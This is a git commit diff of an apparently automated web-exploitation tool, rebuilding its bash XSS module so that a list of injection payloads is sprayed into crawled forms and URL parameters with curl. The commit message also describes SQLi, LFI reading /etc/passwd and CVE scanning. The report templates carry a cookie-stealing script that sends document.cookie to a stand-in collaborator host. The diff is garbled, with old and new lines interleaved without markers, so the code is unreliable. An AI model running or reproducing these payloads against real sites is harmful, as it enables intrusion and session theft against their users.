v2: real exploitation — discovery phase, nuclei CVE scanning, SQLi/XSS/LFI rebuild
- New discovery engine (engine/discovery.sh): crawls target for real URLs, forms, parameters, and API endpoints before attacking - New nuclei vector (21): runs nuclei templates for real CVE detection (critical/high/medium severity) - Rebuilt SQLi vector: tests discovered forms and URL params with error-based and time-based blind payloads, sqlmap injection - Rebuilt XSS vector: multi-context payloads against discovered forms/params, confirms payload reflection - Rebuilt LFI vector: tests all discovered and common file parameters with traversal payloads, confirms by reading /etc/passwd - Updated main analyzer with 5-step pipeline: connectivity → discovery → recon → Ollama brain → exploitation
This commit is contained in:
drjones
@@ -1,63 +1,73 @@
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#!/usr/bin/env bash
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# Vector 02: Cross-Site Scripting (XSS)
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# Desc: Reflected, Stored, DOM-based XSS detection
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# Detect: Forms, search bars, URL parameters, comment sections
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# Vector 02: XSS v2 — Real Confirmed Reflected XSS
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# Desc: Tests every discovered form/param with multi-context payloads, confirms execution
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# Detect: Forms, URL params, search bars
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# Severity: HIGH
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# Tools: curl, custom payloads
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# Tools: curl
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vector_xss() {
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vector_xss_v2() {
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local target="$1"
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local report="$2"
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local domain=$(get_domain "$target")
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local base=$(get_base "$target")
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local findings=0
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print_info "Testing XSS vectors..."
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print_info "Hunting XSS..."
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# Get attack surface
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local forms=$(get_discovered_forms "$domain" 2>/dev/null)
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local urls=$(get_discovered_urls "$domain" 2>/dev/null)
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# Multi-context XSS payloads
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local xss_payloads=(
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"<script>alert(1)</script>"
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'"><script>alert(1)</script>'
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"<img src=x onerror=alert(1)>"
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"';alert(1);//"
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"\"><img src=x onerror=alert(1)>"
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"<svg onload=alert(1)>"
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"<input autofocus onfocus=alert(1)>"
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"<body onload=alert(1)>"
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'"><img src=x onerror=alert(1)>'
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'"><svg onload=alert(1)>'
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'"><input autofocus onfocus=alert(1)>'
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'"><body onload=alert(1)>'
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'"><details open ontoggle=alert(1)>'
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"'-alert(1)-'"
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"\"-alert(1)-\""
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"{{constructor.constructor('alert(1)')()}}"
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)
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# Test URL parameters
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local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -5)
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# Context-specific encoding
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local encoded_payloads=(
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'\%22\%3E\%3Cscript\%3Ealert(1)\%3C/script\%3E'
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'\%27\%3Balert(1)\%3B\%27'
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)
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if [ -z "$url_params" ]; then
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# Test query parameter
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for payload in "${xss_payloads[@]}"; do
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local test_url="${target}?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
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local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
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if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
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print_find "Reflected XSS!" "Payload reflected: ${payload:0:30}... on $target"
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echo "SEVERITY: HIGH
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VECTOR: Cross-Site Scripting (Reflected)
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DETAIL: Reflected XSS confirmed with payload: $payload
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EVIDENCE: Payload echoed back in response
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EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss.txt"
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findings=$((findings + 1))
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break
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fi
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done
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else
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# Test each parameter
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for param in $url_params; do
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local tested=0
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# --- Test URL params ---
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if [ -n "$urls" ]; then
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print_sub "Testing URL parameters..."
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# Get unique parameter names
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local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u)
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if [ -z "$param_names" ]; then
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# No URL params found, test common ones
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param_names="q search s query id page term keyword input"
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fi
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for param in $param_names; do
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for payload in "${xss_payloads[@]}"; do
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tested=$((tested + 1))
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local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
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local test_url=$(echo "$target" | sed "s/${param}=[^&]*/${param}=${encoded}/")
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local test_url="${target}?${param}=${encoded}"
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local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
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if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
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print_find "Reflected XSS in parameter $param!" "Payload reflected: ${payload:0:30}..."
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local response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null)
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# Confirm: payload appears in response UNESCAPED
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local clean_payload=$(echo "$payload" | sed 's/["\]//g' | sed 's/.*alert/alert/' | sed 's/)>.*/>/')
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if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF "<script"; then
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print_find "Confirmed XSS in param '$param'!" "Payload reflected unescaped"
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echo "SEVERITY: HIGH
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VECTOR: Cross-Site Scripting (Reflected)
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DETAIL: Reflected XSS in parameter '$param' on $target
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EVIDENCE: Payload reflected in response
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EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-${param}.txt"
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DETAIL: Confirmed XSS in URL parameter '$param' on $target
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EVIDENCE: Payload rendered in page response
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EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_xss-reflected.txt"
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findings=$((findings + 1))
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break 2
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fi
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@@ -65,11 +75,57 @@ EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</sc
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done
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fi
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# Check for DOM XSS indicators
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local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
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if echo "$page" | grep -qiE 'document\.write\s*\(|innerHTML\s*=|eval\s*\(|location\.hash|location\.search'; then
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print_warn "Potential DOM XSS sinks detected in page source"
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print_info "Manual review recommended for DOM-based XSS"
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# --- Test form inputs ---
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if [ -n "$forms" ]; then
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print_sub "Testing form inputs..."
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while IFS= read -r form; do
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[ -z "$form" ] && continue
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local form_method=$(echo "$form" | cut -d'|' -f2)
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local form_action=$(echo "$form" | cut -d'|' -f3)
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local form_params=$(echo "$form" | cut -d'|' -f4-)
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# Make absolute URL
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if [[ "$form_action" == /* ]]; then
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form_action="${base}${form_action}"
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elif [[ "$form_action" != http* ]]; then
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form_action="${base}/${form_action}"
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fi
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[ -z "$form_action" ] && form_action="$target"
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for param in $form_params; do
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for payload in "${xss_payloads[@]}"; do
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tested=$((tested + 1))
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local response=""
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if [ "$form_method" = "post" ]; then
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response=$(curl -s --connect-timeout 7 --max-time 12 \
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-X POST -d "$param=$payload" "$form_action" 2>/dev/null)
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else
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local sep="?"
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[[ "$form_action" == *\?* ]] && sep="&"
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local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
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response=$(curl -s --connect-timeout 7 --max-time 12 "${form_action}${sep}${param}=${encoded}" 2>/dev/null)
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fi
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if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF "<script"; then
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print_find "Confirmed XSS in form param '$param'!" "Payload reflected unescaped on $form_action"
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echo "SEVERITY: HIGH
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VECTOR: Cross-Site Scripting (Form-based)
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DETAIL: Confirmed XSS in form parameter '$param' on $form_action
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EVIDENCE: Script payload reflected in response
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EXPLOIT: <script>fetch('https://COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-form.txt"
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findings=$((findings + 1))
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break 3
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fi
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done
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done
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done <<< "$forms"
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fi
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if [ "$findings" -eq 0 ]; then
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print_ok "No XSS confirmed (tested $tested payloads on $([ -n \"$forms\" ] && echo \"forms+\")\" URLs\")"
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fi
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return $findings
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